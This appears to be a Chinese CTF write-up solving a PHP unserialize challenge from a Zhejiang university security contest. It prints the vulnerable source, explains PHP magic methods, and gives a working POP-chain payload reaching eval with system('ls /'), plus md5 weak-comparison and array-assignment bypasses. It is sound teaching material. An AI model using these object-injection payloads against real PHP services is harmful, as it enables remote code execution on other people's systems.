第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0

花还会重新开,不同的春来了又来。

- 2025.4.11


0x01 声明

仅作为个人学习使用,仅供参考,欢迎交流

可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章

当然很多理解可能不够到位,还请见谅

此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信

不排除平台会自动设置付费的可能,本人会第一时间关注并处理

0x02 源码

源码 如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器

php 复制代码
<?php

class AAA
{
    public $aear;
    public $string;
    public function __construct($a)
    {
        $this->aear = $a;
    }
    function __destruct()
    {
        echo $this->aear;
    }
    
    public function __toString() 
    {
        $new = $this->string;
        return $new();
    }
}

class BBB
{
    private $pop;

    public function __construct($string)
    {
        $this->pop = $string;
    }

    public function __get($value)
    {
        $var = $this->$value;
        $var[$value]();
    }
}

class DDD
{
    public $bag;
    public $magazine;

    public function __toString()    
    {
        $length = @$this->bag->add();     
        return $length;                    
    }
    public function __set($arg1, $arg2)   
    {
        if ($this->magazine->tower) {     
            echo "really??";
        }
    }
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
    public function __get($arg1)
    {
        $this->d[$this->e] = 1;  
        if ($this->d[] = 1) {    
            echo 'nononononnnn!!!';
        } else {
            eval($this->f);
        }
    }
}

class FFF
{
    protected $cookie;

    protected function delete()
    {
        return $this->cookie;
    }

    public function __call($func, $args)  
    {
        echo 'hahahhhh';
        call_user_func([$this, $func . "haha"], $args);
    }
}

class GGG
{
    public $green;
    public $book;
    public function __invoke()
    {
        if (md5(md5($this->book)) == 666) { 
            return $this->green->pen;
        }
    }
}

if (!isset($_POST['UP'])) {
    highlight_file(__FILE__);
} else {
    unserialize($_POST['UP']);
}

?>

0x03 魔术方法

(下文会有讲解,此处作为参考)

0x04 构造POP链

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

0x05 分析过程

第一步

构造利用链的第一步是确定链尾,即能够触发 远程代码执行 RCE )的代码点

eval($this->f),具备执行代码的能力,锁定链尾

php 复制代码
-> EEE::__get()

第二步

我们需要考虑如何触发 EEE 类中的 __get() 魔术方法

魔术方法 __get() 触发条件

当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()

++例如++

php 复制代码
class Demo {
    public $a = "public";
    private $b = "private";
    protected $c = "protected";

    public function __get($name) {
        return "__get() 被触发了:你访问了 $name";
    }
}

$Demo = new Demo();

echo $Demo->a;      // ✅ 直接输出 public
echo $Demo->b;      // ❗触发 __get("b")
echo $Demo->c;      // ❗触发 __get("c")
echo $Demo->d;      // ❗触发 __get("d"),d 不存在

echo Demo-\>value; 如果触发 __get($value)后,

会将 __get(value)方法的返回值 作为 Demo->$value 的返回值。

php 复制代码
访问echo $Demo->b;
 ↓
PHP发现:b 是私有属性,不能访问
 ↓
于是自动调用 __get("b")
 ↓
 __get() 返回 "__get() 被触发了:你访问了 b"
 ↓
这个值就被当作 $Demo->b 的值返回了!

因此输出:

php 复制代码
public                    // public属性
__get() 被触发了:b        // private属性
__get() 被触发了:c        // protected属性
__get() 被触发了:d        // 不存在的属性

回归正题

了解触发条件后,我们发现

php 复制代码
如果 $this->green 是 EEE类 的一个对象,
↓ 
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓ 
那么 $this->green->pen; 就会触发 EEE::__get()

因此

php 复制代码
-> GGG::__invoke() -> EEE::__get()

第三步

我们需要考虑如何触发 GGG 类中的 __invoke() 魔术方法

魔术方法 invoke**() 触发条件**

当对象被当作函数调用时,触发魔术方法 __invoke()

++例如++

php 复制代码
class Demo {
    public function __invoke($name) {
        return "__invoke() 被触发了:你传入了 $name";
    }
}

$Demo = new Demo();

echo $Demo("Hello");  // ❗触发 __invoke("Hello")
php 复制代码
$Demo("Hello")     
↓ 
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓ 
PHP一看:你居然让对象执行函数调用动作
↓ 
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"

回归正题

php 复制代码
如果 $this->string是 GGG类 的一个对象
↓ 
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓ 
return $this->string();将$GGG的对象当做函数调用;
↓ 
触发 GGG::__invoke();

因此

php 复制代码
-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第四步

我们需要考虑如何触发 AAA 类中的 __toString() 魔术方法

魔术方法 __toString() 触发条件

当对一个对象执行 echo print 字符串拼接 等操作,触发魔术方法 __toString()

++例如++

php 复制代码
class Demo {
    public function __toString() {
        return "__toString() 被触发了!\n";
    }
}

$Demo = new Demo();

// 用 echo 输出对象
echo $Demo;  

// 用 print 输出对象
print $Demo;  

// 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;

输出

php 复制代码
__toString() 被触发了!  // 执行 echo 操作
__toString() 被触发了!  // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接

回归正题

php 复制代码
如果 $this->aear 是AAA的一个对象
↓ 
echo $this->aear 触发 AAA的__toString()方法
↓ 
AAA::__toString()

因此

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第五步

我们需要考虑如何触发 AAA 类中的 __destruct() 魔术方法

魔术方法 __destruct() 触发条件

析构函数 会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。

换句话说,

只要你 new 创建一个对象,当它"不再使用"或"被清理掉", PHP 就会自动帮你调用 __destruct() 做一些"结束前的收尾工作"。

++例如++

php 复制代码
class Demo {
    public function __destruct() {
        echo "__destruct() 被触发了!\n";
    }
}

$Demo = new Demo();

输出

php 复制代码
__destruct() 被触发了!

回归正题,由于 __destruct() 特殊的触发条件或者说根本不需要什么条件,我们的 POP 链也就构造成功了。

除此以外,还需要了解 __construct() 触发方式

魔术方法 __construct() 触发条件

当你使用 new 创建一个对象时, PHP 会自动调用这个类的 __construct() 方法,触发条件非常简单直接

php 复制代码
class Demo {
    public function __construct($name) {
        echo "你好,$name\n";
    }
}

$Demo = new Demo("橙橙");  // 触发 __construct("橙橙")

输出

php 复制代码
你好,橙橙

__construct() 可以有参数:

php 复制代码
// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错

class Demo {
    public function __construct($name) {
        echo "你好,$name\n";
    }
}

$Demo = new Demo();    // ❌ 错误:缺少参数
$Demo = new Demo(1);   // ✅ 成功,输出:你好,1


// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。

0x06 构造Payload

构造 Payload 需要本地PHP环境,请参考之前文章

https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502

https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502

或者自行查阅教程


根据POP链和以上分析,开始构造Payload

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
php 复制代码
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖

$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()


$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()


$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCE

echo serialize($AAA);
// echo urlencode(serialize($AAA));

Payload

php 复制代码
 <?php

class AAA
{
    public $aear;
    public $string;
    // public function __construct($a)
    // {
    //     $this->aear = $a;
    // }
    // function __destruct()
    // {
    //     echo $this->aear;
    // }
    
    // public function __toString() 
    // {
    //     $new = $this->string;
    //     return $new();
    // }
}

class BBB
{
    private $pop;

    // public function __construct($string)
    // {
    //     $this->pop = $string;
    // }

    // public function __get($value)
    // {
    //     $var = $this->$value;
    //     $var[$value]();
    // }
}

class DDD
{
    public $bag;
    public $magazine;

    // public function __toString()    
    // {
    //     $length = @$this->bag->add();     
    //     return $length;                    
    // }
    // public function __set($arg1, $arg2)   
    // {
    //     if ($this->magazine->tower) {     
    //         echo "really??";
    //     }
    // }
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
    // public function __get($arg1)
    // {
    //     $this->d[$this->e] = 1;  
    //     if ($this->d[] = 1) {    
    //         echo 'nononononnnn!!!';
    //     } else {
    //         eval($this->f);
    //     }
    // }
}

class FFF
{
    protected $cookie;

    // protected function delete()
    // {
    //     return $this->cookie;
    // }

    // public function __call($func, $args)  
    // {
    //     echo 'hahahhhh';
    //     call_user_func([$this, $func . "haha"], $args);
    // }
}

class GGG
{
    public $green;
    public $book;
    // public function __invoke()
    // {
    //     if (md5(md5($this->book)) == 666) { 
    //         return $this->green->pen;
    //     }
    // }
}

$AAA = new AAA(1); 
$AAA->aear=$AAA; 
$AAA->string=new GGG();

$AAA->string->book=213;
$AAA->string->green=new EEE();

$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";

echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>

Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能

所以Urlencode后我一般用 Bp 提交

绕过点1

php 复制代码
$AAA->string->book=213; // 绕过点1

为什么 213 能够绕过呢,== 注意是PHP的弱类型比较

php 复制代码
if (md5(md5($this->book)) == 666)
php 复制代码
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>

// 979d472a84804b9f647bc185a877a8b5  字符串类型
// 666ca9a2be31fd949cb9b55686caef9a  字符串类型
php 复制代码
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止

例如
'a' -> 0
'1a' -> 1
'123a' -> 123

因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true

Fuzz脚本:两次md5加密后,前三位为666且第四位为字母

php 复制代码
import hashlib

def find_md5():
    i = 0
    res = []
    
    while len(res) < 5:
        # 原始输入
        orig = str(i)
        
        # 第一次md5加密
        fmd5 = hashlib.md5(orig.encode()).hexdigest()
        
        # 第二次md5加密
        smd5 = hashlib.md5(fmd5.encode()).hexdigest()
        
        # 检查是否符合条件:前三位是'666',第四位是字母
        if smd5[:3] == '666' and smd5[3].isalpha():
            res.append((orig, smd5))
        
        i += 1
    
    return res

# 获取符合条件的五个实例及其原始输入
result = find_md5()

# 打印结果
for orig, smd5 in result:
    print(f"原始输入: {orig}, 加密结果: {smd5}")

绕过点2

php 复制代码
$AAA->string->green->d=1; // 绕过点2
php 复制代码
public $d = array();       // $d 被声明为数组
$this->d[$this->e] = 1;    // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
php 复制代码
if ($this->d[] = 1){
   // code...
}

// $this->d[] = 1 向数组的末尾赋值1并返回 1 ->  if(1)为true  -> 条件判断恒成立

++举个例子++

php 复制代码
<?php

$Demo = array();  // 定义一个空数组

$a = '1';
$Demo[$a]=1;

if ($Demo[] = 1) {
    echo "true\n";  // true,条件判断成立
}

print_r($Demo) 

?>

(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点

重点是 if ($this->d[] = 1) 恒成立,应该怎么绕过呢?

php 复制代码
覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。

例如:
$AAA->string->green->d = 1;  // 数字
$AAA->string->green->d = '1';  // 字符串
$AAA->string->green->d = NULL;  //  NULL
$AAA->string->green->d = NAN;  // 设置为 NaN

0x07 End

至此,反序列化的分析已全部结束

如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!

相关推荐
游戏开发爱好者811 小时前
Flutter 学习之旅 之 flutter 使用 shared_preferences 实现简单的数据本地化保存封装
websocket·网络协议·tcp/ip·http·网络安全·https·udp
不想学密码的程序员不是好的攻城狮20 小时前
TGCTF web
python·网络安全·web·ctf
ALe要立志成为web糕手20 小时前
PHP反序列化
web安全·网络安全·php·反序列化
谈不譚网安1 天前
提权实战!
web安全·网络安全·学习方法
2301_780789661 天前
金融行业网络安全加固方案
安全·web安全·网络安全·金融·防护ddos
墨燃.1 天前
Windows操作系统渗透测试
windows·web安全·网络安全·职业院校技能大赛
Aukum1 天前
vulnhub:sunset decoy
linux·网络·笔记·安全·web安全·网络安全
半路_出家ren2 天前
动态路由, RIP路由协议,RIPv1,RIPv2
网络·网络安全·rip·路由协议·动态路由·ripv1·ripv2
☆firefly☆2 天前
[MRCTF2020]ezpop wp
web安全·网络安全